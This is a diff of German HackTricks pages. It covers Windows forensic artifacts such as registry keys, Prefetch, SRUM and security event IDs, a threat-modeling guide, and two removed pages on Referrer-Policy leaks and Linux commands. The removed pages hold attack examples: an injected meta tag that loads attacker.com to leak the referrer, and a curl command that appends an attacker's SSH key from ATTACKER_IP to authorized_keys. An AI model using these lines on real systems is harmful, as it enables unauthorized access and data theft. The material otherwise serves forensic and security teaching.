- **Deadline ('P2M')**: Weist den Task Scheduler an, falls die Aufgabe zwei aufeinanderfolgende Monate fehlschlägt, die Aufgabe während der Notfallautomatik-Wartung auszuführen.
|
||||
- **Deadline ('P2M')**: Weist den Task Scheduler an, die Aufgabe während der Notfallautomatik-Wartung auszuführen, wenn die Aufgabe zwei Monate hintereinander fehlschlägt.
|
||||
|
||||
Diese Konfiguration stellt regelmäßige Wartung und Bereinigung der Treiber sicher, mit Bestimmungen für einen erneuten Versuch der Aufgabe im Falle aufeinanderfolgender Fehler.
|
||||
Diese Konfiguration stellt eine regelmäßige Wartung und Bereinigung der Treiber sicher, mit Bestimmungen für einen erneuten Versuch der Aufgabe im Falle aufeinanderfolgender Fehler.
|
||||
|
||||
**Für weitere Informationen siehe:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
@ -183,7 +181,7 @@ Außerdem finden Sie in den Headern `References` und `In-Reply-To` die ID der Na
|
||||
|
||||
### Windows Mail App
|
||||
|
||||
Diese Anwendung speichert E-Mails in HTML oder Text. Sie finden die E-Mails in Unterordnern innerhalb von `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Die E-Mails werden mit der Erweiterung `.dat` gespeichert.
|
||||
Diese Anwendung speichert E-Mails in HTML oder Text. Sie finden die E-Mails in Unterordnern unter `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Die E-Mails werden mit der Erweiterung `.dat` gespeichert.
|
||||
|
||||
Die **Metadaten** der E-Mails und die **Kontakte** können in der **EDB-Datenbank** gefunden werden: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
@ -198,7 +196,7 @@ Wenn Exchange-Server oder Outlook-Clients verwendet werden, gibt es einige MAPI-
|
||||
- `Mapi-Entry-ID`: Nachrichtenidentifikator.
|
||||
- `Mappi-Message-Flags` und `Pr_last_Verb-Executed`: Informationen über den MAPI-Client (Nachricht gelesen? nicht gelesen? geantwortet? umgeleitet? nicht im Büro?)
|
||||
|
||||
Im Microsoft Outlook-Client werden alle gesendeten/empfangenen Nachrichten, Kontaktdaten und Kalenderdaten in einer PST-Datei gespeichert in:
|
||||
Im Microsoft Outlook-Client werden alle gesendeten/empfangenen Nachrichten, Kontaktdaten und Kalenderdaten in einer PST-Datei gespeichert unter:
|
||||
|
||||
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
@ -211,7 +209,7 @@ Sie können die PST-Datei mit dem Tool [**Kernel PST Viewer**](https://www.nucle
|
||||
|
||||
### Microsoft Outlook OST-Dateien
|
||||
|
||||
Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit **IMAP** oder einem **Exchange**-Server konfiguriert ist und speichert ähnliche Informationen wie eine PST-Datei. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
|
||||
Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit **IMAP** oder einem **Exchange**-Server konfiguriert ist und ähnliche Informationen wie eine PST-Datei speichert. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
|
||||
|
||||
### Wiederherstellung von Anhängen
|
||||
|
||||
@ -230,7 +228,7 @@ Verlorene Anhänge könnten wiederhergestellt werden aus:
|
||||
- **Windows 7/10**: `thumbs.db` wird erstellt, wenn über ein Netzwerk über UNC-Pfad zugegriffen wird.
|
||||
- **Windows Vista und neuer**: Thumbnail-Vorschauen sind zentral in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` mit Dateien namens **thumbcache_xxx.db** gespeichert. [**Thumbsviewer**](https://thumbsviewer.github.io) und [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sind Tools zum Anzeigen dieser Dateien.
|
||||
|
||||
### Windows Registrierungsinformationen
|
||||
### Windows-Registrierungsinformationen
|
||||
|
||||
Die Windows-Registrierung, die umfangreiche System- und Benutzeraktivitätsdaten speichert, befindet sich in Dateien in:
|
||||
|
||||
@ -243,7 +241,7 @@ Die Windows-Registrierung, die umfangreiche System- und Benutzeraktivitätsdaten
|
||||
|
||||
Einige Tools sind nützlich, um die Registrierungsdateien zu analysieren:
|
||||
|
||||
- **Registrierungs-Editor**: Es ist in Windows installiert. Es ist eine GUI, um durch die Windows-Registrierung der aktuellen Sitzung zu navigieren.
|
||||
- **Registrierungs-Editor**: Er ist in Windows installiert. Es ist eine GUI, um durch die Windows-Registrierung der aktuellen Sitzung zu navigieren.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Es ermöglicht Ihnen, die Registrierungsdatei zu laden und durch sie mit einer GUI zu navigieren. Es enthält auch Lesezeichen, die Schlüssel mit interessanten Informationen hervorheben.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Es hat ebenfalls eine GUI, die es ermöglicht, durch die geladene Registrierung zu navigieren und enthält auch Plugins, die interessante Informationen innerhalb der geladenen Registrierung hervorheben.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Eine weitere GUI-Anwendung, die in der Lage ist, wichtige Informationen aus der geladenen Registrierung zu extrahieren.
|
||||
@ -276,11 +274,11 @@ In [diesem Beitrag](https://jonahacks.medium.com/investigating-common-windows-pr
|
||||
|
||||
### Windows Recent APPs
|
||||
|
||||
Innerhalb der Registrierung `NTUSER.DAT` im Pfad `Software\Microsoft\Current Version\Search\RecentApps` finden Sie Unterschlüssel mit Informationen über die **ausgeführte Anwendung**, **letzte Ausführungszeit** und **Anzahl der Starts**.
|
||||
Im Registrierungs-`NTUSER.DAT` unter dem Pfad `Software\Microsoft\Current Version\Search\RecentApps` finden Sie Unterschlüssel mit Informationen über die **ausgeführte Anwendung**, **letzte Ausführungszeit** und **Anzahl der Starts**.
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
|
||||
Sie können die `SYSTEM`-Datei mit einem Registrierungseditor öffnen, und im Pfad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` finden Sie Informationen über die **von jedem Benutzer ausgeführten Anwendungen** (beachten Sie das `{SID}` im Pfad) und **wann** sie ausgeführt wurden (die Zeit befindet sich im Datenwert der Registrierung).
|
||||
Sie können die `SYSTEM`-Datei mit einem Registrierungseditor öffnen, und im Pfad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` finden Sie Informationen über die **von jedem Benutzer ausgeführten Anwendungen** (beachten Sie das `{SID}` im Pfad) und **zu welcher Zeit** sie ausgeführt wurden (die Zeit befindet sich im Datenwert der Registrierung).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
@ -303,13 +301,13 @@ Um diese Dateien zu inspizieren, können Sie das Tool [**PEcmd.exe**](https://gi
|
||||
**Superprefetch** hat dasselbe Ziel wie Prefetch, **Programme schneller zu laden**, indem vorhergesagt wird, was als Nächstes geladen wird. Es ersetzt jedoch nicht den Prefetch-Dienst.\
|
||||
Dieser Dienst generiert Datenbankdateien in `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volumen**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
|
||||
In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volume**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
|
||||
|
||||
Sie können auf diese Informationen mit dem Tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) zugreifen.
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **überwacht** die **Ressourcen**, die von einem **Prozess** **verbraucht** werden. Es erschien in W8 und speichert die Daten in einer ESE-Datenbank, die sich in `C:\Windows\System32\sru\SRUDB.dat` befindet.
|
||||
**System Resource Usage Monitor** (SRUM) **überwacht** die **Ressourcen**, die von einem Prozess **verbraucht** werden. Es erschien in W8 und speichert die Daten in einer ESE-Datenbank, die sich in `C:\Windows\System32\sru\SRUDB.dat` befindet.
|
||||
|
||||
Es gibt die folgenden Informationen:
|
||||
|
||||
@ -329,7 +327,7 @@ Sie können das Datum aus dieser Datei mit dem Tool [**srum_dump**](https://gith
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Application Compatibility Database**, die von **Microsoft** entwickelt wurde, um Probleme mit der Anwendungskompatibilität zu beheben. Diese Systemkomponente zeichnet verschiedene Stücke von Dateimetadaten auf, die Folgendes umfassen:
|
||||
Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Application Compatibility Database**, die von **Microsoft** entwickelt wurde, um Probleme mit der Anwendungskompatibilität zu beheben. Dieses Systemkomponente zeichnet verschiedene Stücke von Dateimetadaten auf, die Folgendes umfassen:
|
||||
|
||||
- Vollständiger Pfad der Datei
|
||||
- Größe der Datei
|
||||
@ -337,7 +335,7 @@ Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Applicati
|
||||
- Letzte Aktualisierungszeit des ShimCache
|
||||
- Prozessausführungsflag
|
||||
|
||||
Solche Daten werden in der Registrierung an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
|
||||
Solche Daten werden im Registrierungseditor an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
|
||||
|
||||
- Für XP werden die Daten unter `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` mit einer Kapazität von 96 Einträgen gespeichert.
|
||||
- Für Server 2003 sowie für Windows-Versionen 2008, 2012, 2016, 7, 8 und 10 ist der Speicherpfad `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, der 512 bzw. 1024 Einträge aufnehmen kann.
|
||||
@ -348,9 +346,9 @@ Um die gespeicherten Informationen zu analysieren, wird das [**AppCompatCachePar
|
||||
|
||||
### Amcache
|
||||
|
||||
Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungshive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungs-Hive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Diese Datei ist bemerkenswert, da sie Aufzeichnungen über kürzlich ausgeführte Prozesse speichert, einschließlich der Pfade zu den ausführbaren Dateien und deren SHA1-Hashes. Diese Informationen sind von unschätzbarem Wert für die Verfolgung der Aktivitäten von Anwendungen auf einem System.
|
||||
Diese Datei ist bemerkenswert, da sie Aufzeichnungen über kürzlich ausgeführte Prozesse speichert, einschließlich der Pfade zu den ausführbaren Dateien und deren SHA1-Hashes. Diese Informationen sind von unschätzbarem Wert, um die Aktivität von Anwendungen auf einem System zu verfolgen.
|
||||
|
||||
Um die Daten aus **Amcache.hve** zu extrahieren und zu analysieren, kann das [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)-Tool verwendet werden. Der folgende Befehl ist ein Beispiel dafür, wie man AmcacheParser verwendet, um den Inhalt der **Amcache.hve**-Datei zu parsen und die Ergebnisse im CSV-Format auszugeben:
|
||||
```bash
|
||||
@ -362,7 +360,7 @@ Die interessanteste CVS-Datei, die generiert wurde, ist die `Amcache_Unassociate
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Dieses Artefakt ist nur in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` zu finden und enthält Informationen über die kürzliche Ausführung einiger Binärdateien.
|
||||
Dieses Artefakt ist nur in W7 unter `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` zu finden und enthält Informationen über die kürzliche Ausführung einiger Binärdateien.
|
||||
|
||||
Sie können das Tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) verwenden, um die Datei zu analysieren.
|
||||
|
||||
@ -376,7 +374,7 @@ Sie finden sie in der Registrierung unter `SYSTEM\ControlSet001\Services`. Sie k
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Die installierten Anwendungen finden Sie in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Die installierten Anwendungen finden Sie unter `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Dieses Repository hat ein **Log** mit **jeder installierten Anwendung** im System innerhalb der Datenbank **`StateRepository-Machine.srd`**.
|
||||
|
||||
In der Anwendungstabelle dieser Datenbank ist es möglich, die Spalten: "Application ID", "PackageNumber" und "Display Name" zu finden. Diese Spalten enthalten Informationen über vorinstallierte und installierte Anwendungen und es kann festgestellt werden, ob einige Anwendungen deinstalliert wurden, da die IDs der installierten Anwendungen sequenziell sein sollten.
|
||||
@ -398,15 +396,15 @@ Die Protokolle befinden sich in `C:\Windows\System32\config` vor Windows Vista u
|
||||
|
||||
Der Speicherort der Ereignisdateien kann in der SYSTEM-Registrierung unter **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** gefunden werden.
|
||||
|
||||
Sie können über den Windows-Ereignisanzeiger (**`eventvwr.msc`**) oder mit anderen Tools wie [**Event Log Explorer**](https://eventlogxp.com) **oder** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** visualisiert werden.**
|
||||
Sie können sie über die Windows-Ereignisanzeige (**`eventvwr.msc`**) oder mit anderen Tools wie [**Event Log Explorer**](https://eventlogxp.com) **oder** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** visualisieren.**
|
||||
|
||||
## Verständnis der Windows-Sicherheitsereignisprotokollierung
|
||||
|
||||
Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, die sich in `C:\Windows\System32\winevt\Security.evtx` befindet. Die Größe dieser Datei ist anpassbar, und wenn ihre Kapazität erreicht ist, werden ältere Ereignisse überschrieben. Aufgezeichnete Ereignisse umfassen Benutzeranmeldungen und -abmeldungen, Benutzeraktionen und Änderungen an Sicherheitseinstellungen sowie den Zugriff auf Dateien, Ordner und gemeinsame Assets.
|
||||
Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, die sich unter `C:\Windows\System32\winevt\Security.evtx` befindet. Die Größe dieser Datei ist anpassbar, und wenn ihre Kapazität erreicht ist, werden ältere Ereignisse überschrieben. Aufgezeichnete Ereignisse umfassen Benutzeranmeldungen und -abmeldungen, Benutzeraktionen und Änderungen an Sicherheitseinstellungen sowie den Zugriff auf Dateien, Ordner und gemeinsame Assets.
|
||||
|
||||
### Schlüsselereignis-IDs für die Benutzerauthentifizierung:
|
||||
|
||||
- **EventID 4624**: Zeigt an, dass ein Benutzer erfolgreich authentifiziert wurde.
|
||||
- **EventID 4624**: Zeigt an, dass sich ein Benutzer erfolgreich authentifiziert hat.
|
||||
- **EventID 4625**: Signalisiert einen Authentifizierungsfehler.
|
||||
- **EventIDs 4634/4647**: Stellen Benutzerabmeldeereignisse dar.
|
||||
- **EventID 4672**: Bezeichnet die Anmeldung mit administrativen Rechten.
|
||||
@ -436,10 +434,10 @@ Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, d
|
||||
- **0xC0000070**: Verletzung der Arbeitsplatzbeschränkungen - Könnte ein Versuch sein, sich von einem unbefugten Standort anzumelden.
|
||||
- **0xC0000193**: Konto abgelaufen - Zugriffsversuche mit abgelaufenen Benutzerkonten.
|
||||
- **0xC0000071**: Abgelaufenes Passwort - Anmeldeversuche mit veralteten Passwörtern.
|
||||
- **0xC0000133**: Zeit-Synchronisierungsprobleme - Große Zeitabweichungen zwischen Client und Server können auf ausgeklügeltere Angriffe wie Pass-the-Ticket hinweisen.
|
||||
- **0xC0000224**: Pflichtänderung des Passworts erforderlich - Häufige Pflichtänderungen könnten auf einen Versuch hinweisen, die Kontosicherheit zu destabilisieren.
|
||||
- **0xC0000133**: Zeit-Synchronisationsprobleme - Große Zeitabweichungen zwischen Client und Server können auf ausgeklügeltere Angriffe wie Pass-the-Ticket hinweisen.
|
||||
- **0xC0000224**: Pflichtänderung des Passworts erforderlich - Häufige verpflichtende Änderungen könnten auf einen Versuch hinweisen, die Kontosicherheit zu destabilisieren.
|
||||
- **0xC0000225**: Zeigt einen Systemfehler an, nicht ein Sicherheitsproblem.
|
||||
- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, einen Dienstanmeldetyp auszuführen.
|
||||
- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, eine Dienstanmeldung auszuführen.
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
@ -489,6 +487,6 @@ EventID 6005 zeigt den Systemstart an, während EventID 6006 das Herunterfahren
|
||||
|
||||
#### Protokolllöschung
|
||||
|
||||
Sicherheits-EreignisID 1102 signalisiert die Löschung von Protokollen, ein kritisches Ereignis für die forensische Analyse.
|
||||
Sicherheits-EventID 1102 signalisiert die Löschung von Protokollen, ein kritisches Ereignis für die forensische Analyse.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,5 @@
|
||||
# Interessante Windows-Registrierungsschlüssel
|
||||
|
||||
### Interessante Windows-Registrierungsschlüssel
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Windows-Version und Besitzerinformationen**
|
||||
@ -43,7 +41,7 @@
|
||||
|
||||
### Shellbags
|
||||
|
||||
- **Shellbags** speichern nicht nur Präferenzen für Ordnersichten, sondern liefern auch forensische Beweise für den Ordnerzugriff, selbst wenn der Ordner nicht mehr existiert. Sie sind für Ermittlungen von unschätzbarem Wert, da sie Benutzeraktivitäten offenbaren, die durch andere Mittel nicht offensichtlich sind.
|
||||
- **Shellbags** speichern nicht nur Präferenzen für Ordnersichten, sondern liefern auch forensische Beweise für den Zugriff auf Ordner, selbst wenn der Ordner nicht mehr existiert. Sie sind für Ermittlungen von unschätzbarem Wert, da sie Benutzeraktivitäten offenbaren, die durch andere Mittel nicht offensichtlich sind.
|
||||
|
||||
### USB-Informationen und Forensik
|
||||
|
||||
@ -55,7 +53,7 @@
|
||||
|
||||
### **Herunterfahrdetails**
|
||||
|
||||
- Die Herunterfahrzeit und -anzahl (letzteres nur für XP) werden in **`System\ControlSet001\Control\Windows`** und **`System\ControlSet001\Control\Watchdog\Display`** gespeichert.
|
||||
- Die Herunterfahrzeit und die Anzahl (letzteres nur für XP) werden in **`System\ControlSet001\Control\Windows`** und **`System\ControlSet001\Control\Watchdog\Display`** gespeichert.
|
||||
|
||||
### **Netzwerkkonfiguration**
|
||||
|
||||
@ -72,7 +70,7 @@
|
||||
|
||||
### **Suchanfragen und eingegebene Pfade**
|
||||
|
||||
- Explorer-Suchanfragen und eingegebene Pfade werden in der Registrierung unter **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** für WordwheelQuery und TypedPaths protokolliert.
|
||||
- Explorer-Suchanfragen und eingegebene Pfade werden in der Registrierung unter **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** für WordwheelQuery und TypedPaths verfolgt.
|
||||
|
||||
### **Kürzlich verwendete Dokumente und Office-Dateien**
|
||||
|
||||
|
@ -1,19 +1,21 @@
|
||||
# Bedrohungsmodellierung
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Bedrohungsmodellierung
|
||||
|
||||
Willkommen zu HackTricks' umfassendem Leitfaden zur Bedrohungsmodellierung! Beginnen Sie eine Erkundung dieses kritischen Aspekts der Cybersicherheit, bei dem wir potenzielle Schwachstellen in einem System identifizieren, verstehen und Strategien dagegen entwickeln. Dieser Thread dient als Schritt-für-Schritt-Anleitung, die mit realen Beispielen, hilfreicher Software und leicht verständlichen Erklärungen gefüllt ist. Ideal für sowohl Anfänger als auch erfahrene Praktiker, die ihre Cybersicherheitsverteidigung stärken möchten.
|
||||
Willkommen zu HackTricks' umfassendem Leitfaden zur Bedrohungsmodellierung! Beginnen Sie eine Erkundung dieses kritischen Aspekts der Cybersicherheit, bei dem wir potenzielle Schwachstellen in einem System identifizieren, verstehen und Strategien dagegen entwickeln. Dieser Thread dient als schrittweise Anleitung, die mit realen Beispielen, hilfreicher Software und leicht verständlichen Erklärungen gefüllt ist. Ideal für sowohl Anfänger als auch erfahrene Praktiker, die ihre Cybersicherheitsverteidigung stärken möchten.
|
||||
|
||||
### Häufig Verwendete Szenarien
|
||||
|
||||
1. **Softwareentwicklung**: Im Rahmen des Secure Software Development Life Cycle (SSDLC) hilft die Bedrohungsmodellierung bei der **Identifizierung potenzieller Quellen von Schwachstellen** in den frühen Phasen der Entwicklung.
|
||||
2. **Penetration Testing**: Der Penetration Testing Execution Standard (PTES) erfordert **Bedrohungsmodellierung, um die Schwachstellen des Systems zu verstehen**, bevor der Test durchgeführt wird.
|
||||
1. **Softwareentwicklung**: Im Rahmen des Secure Software Development Life Cycle (SSDLC) hilft die Bedrohungsmodellierung dabei, **potenzielle Quellen von Schwachstellen** in den frühen Phasen der Entwicklung zu identifizieren.
|
||||
2. **Penetration Testing**: Der Penetration Testing Execution Standard (PTES) erfordert **Bedrohungsmodellierung, um die Schwachstellen des Systems** vor der Durchführung des Tests zu verstehen.
|
||||
|
||||
### Bedrohungsmodell in Kürze
|
||||
|
||||
Ein Bedrohungsmodell wird typischerweise als Diagramm, Bild oder in einer anderen Form der visuellen Darstellung dargestellt, die die geplante Architektur oder den bestehenden Aufbau einer Anwendung zeigt. Es ähnelt einem **Datenflussdiagramm**, aber der entscheidende Unterschied liegt im sicherheitsorientierten Design.
|
||||
Ein Bedrohungsmodell wird typischerweise als Diagramm, Bild oder in einer anderen Form visueller Darstellung dargestellt, die die geplante Architektur oder den bestehenden Aufbau einer Anwendung zeigt. Es ähnelt einem **Datenflussdiagramm**, aber der entscheidende Unterschied liegt im sicherheitsorientierten Design.
|
||||
|
||||
Bedrohungsmodelle enthalten oft Elemente, die in Rot markiert sind und potenzielle Schwachstellen, Risiken oder Barrieren symbolisieren. Um den Prozess der Risikoidentifizierung zu vereinfachen, wird das CIA (Vertraulichkeit, Integrität, Verfügbarkeit) Triad verwendet, das die Grundlage vieler Bedrohungsmodellierungsmethodologien bildet, wobei STRIDE eine der häufigsten ist. Die gewählte Methodologie kann jedoch je nach spezifischem Kontext und Anforderungen variieren.
|
||||
Bedrohungsmodelle enthalten oft Elemente, die in Rot markiert sind und potenzielle Schwachstellen, Risiken oder Barrieren symbolisieren. Um den Prozess der Risikoidentifikation zu vereinfachen, wird das CIA (Vertraulichkeit, Integrität, Verfügbarkeit) Triad verwendet, das die Grundlage vieler Bedrohungsmodellierungsmethodologien bildet, wobei STRIDE eine der häufigsten ist. Die gewählte Methodologie kann jedoch je nach spezifischem Kontext und Anforderungen variieren.
|
||||
|
||||
### Das CIA-Triad
|
||||
|
||||
@ -27,10 +29,10 @@ Das CIA-Triad ist ein weithin anerkanntes Modell im Bereich der Informationssich
|
||||
|
||||
1. **STRIDE**: Entwickelt von Microsoft, ist STRIDE ein Akronym für **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service und Elevation of Privilege**. Jede Kategorie stellt eine Art von Bedrohung dar, und diese Methodologie wird häufig in der Entwurfsphase eines Programms oder Systems verwendet, um potenzielle Bedrohungen zu identifizieren.
|
||||
2. **DREAD**: Dies ist eine weitere Methodologie von Microsoft, die zur Risikobewertung identifizierter Bedrohungen verwendet wird. DREAD steht für **Damage potential, Reproducibility, Exploitability, Affected users und Discoverability**. Jeder dieser Faktoren wird bewertet, und das Ergebnis wird verwendet, um identifizierte Bedrohungen zu priorisieren.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dies ist eine siebenstufige, **risikozentrierte** Methodologie. Sie umfasst die Definition und Identifizierung von Sicherheitszielen, die Erstellung eines technischen Rahmens, die Anwendungszerlegung, die Bedrohungsanalyse, die Schwachstellenanalyse und die Risiko-/Triagebewertung.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dies ist eine siebenstufige, **risikozentrierte** Methodologie. Sie umfasst die Definition und Identifizierung von Sicherheitszielen, die Erstellung eines technischen Umfangs, die Anwendung von Zerlegung, Bedrohungsanalyse, Schwachstellenanalyse und Risiko-/Triagebewertung.
|
||||
4. **Trike**: Dies ist eine risikobasierte Methodologie, die sich auf den Schutz von Vermögenswerten konzentriert. Sie beginnt aus einer **Risikomanagement**-Perspektive und betrachtet Bedrohungen und Schwachstellen in diesem Kontext.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Dieser Ansatz zielt darauf ab, zugänglicher zu sein und in agile Entwicklungsumgebungen integriert zu werden. Er kombiniert Elemente aus den anderen Methodologien und konzentriert sich auf **visuelle Darstellungen von Bedrohungen**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Entwickelt vom CERT Coordination Center, ist dieses Framework auf **organisatorische Risikobewertung anstelle spezifischer Systeme oder Software** ausgerichtet.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Entwickelt vom CERT Coordination Center, ist dieses Framework auf **organisatorische Risikobewertung und nicht auf spezifische Systeme oder Software** ausgerichtet.
|
||||
|
||||
## Werkzeuge
|
||||
|
||||
@ -84,7 +86,7 @@ Nur eine kleine Erklärung zu den Entitäten:
|
||||
- Akteur (Eine Person wie ein Website-Besucher, Benutzer oder Administrator)
|
||||
- Datenflusslinie (Indikator für Interaktion)
|
||||
- Vertrauensgrenze (Verschiedene Netzwerksegmente oder -bereiche.)
|
||||
- Speicher (Dinge, in denen Daten gespeichert werden, wie Datenbanken)
|
||||
- Speicher (Dinge, in denen Daten gespeichert sind, wie Datenbanken)
|
||||
|
||||
5. Eine Bedrohung erstellen (Schritt 1)
|
||||
|
||||
@ -109,3 +111,5 @@ Jetzt sollte Ihr fertiges Modell so aussehen. Und so erstellen Sie ein einfaches
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Dies ist ein kostenloses Tool von Microsoft, das hilft, Bedrohungen in der Entwurfsphase von Softwareprojekten zu finden. Es verwendet die STRIDE-Methodologie und ist besonders geeignet für diejenigen, die auf Microsofts Stack entwickeln.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
Binary file not shown.
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 16 KiB |
@ -1,35 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Referrer-Header und Richtlinie
|
||||
|
||||
Referrer ist der Header, der von Browsern verwendet wird, um anzuzeigen, welche die vorherige besuchte Seite war.
|
||||
|
||||
## Sensible Informationen geleakt
|
||||
|
||||
Wenn sich an irgendeinem Punkt innerhalb einer Webseite sensible Informationen in den GET-Anforderungsparametern befinden, wenn die Seite Links zu externen Quellen enthält oder ein Angreifer in der Lage ist, den Benutzer dazu zu bringen, eine von ihm kontrollierte URL zu besuchen (Social Engineering), könnte es möglich sein, die sensiblen Informationen aus der letzten GET-Anforderung zu exfiltrieren.
|
||||
|
||||
## Minderung
|
||||
|
||||
Sie können den Browser dazu bringen, eine **Referrer-Policy** zu befolgen, die **verhindern** könnte, dass sensible Informationen an andere Webanwendungen gesendet werden:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
Referrer-Policy: origin
|
||||
Referrer-Policy: origin-when-cross-origin
|
||||
Referrer-Policy: same-origin
|
||||
Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## Gegenmaßnahmen
|
||||
|
||||
Sie können diese Regel mit einem HTML-Meta-Tag überschreiben (der Angreifer muss eine HTML-Injection ausnutzen):
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## Verteidigung
|
||||
|
||||
Setzen Sie niemals sensible Daten in GET-Parametern oder Pfaden in der URL ein.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,297 +0,0 @@
|
||||
# Nützliche Linux-Befehle
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Häufige Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
||||
#Get HexDump without new lines
|
||||
xxd -p boot12.bin | tr -d '\n'
|
||||
|
||||
#Add public key to authorized keys
|
||||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||
|
||||
#Echo without new line and Hex
|
||||
echo -n -e
|
||||
|
||||
#Count
|
||||
wc -l <file> #Lines
|
||||
wc -c #Chars
|
||||
|
||||
#Sort
|
||||
sort -nr #Sort by number and then reverse
|
||||
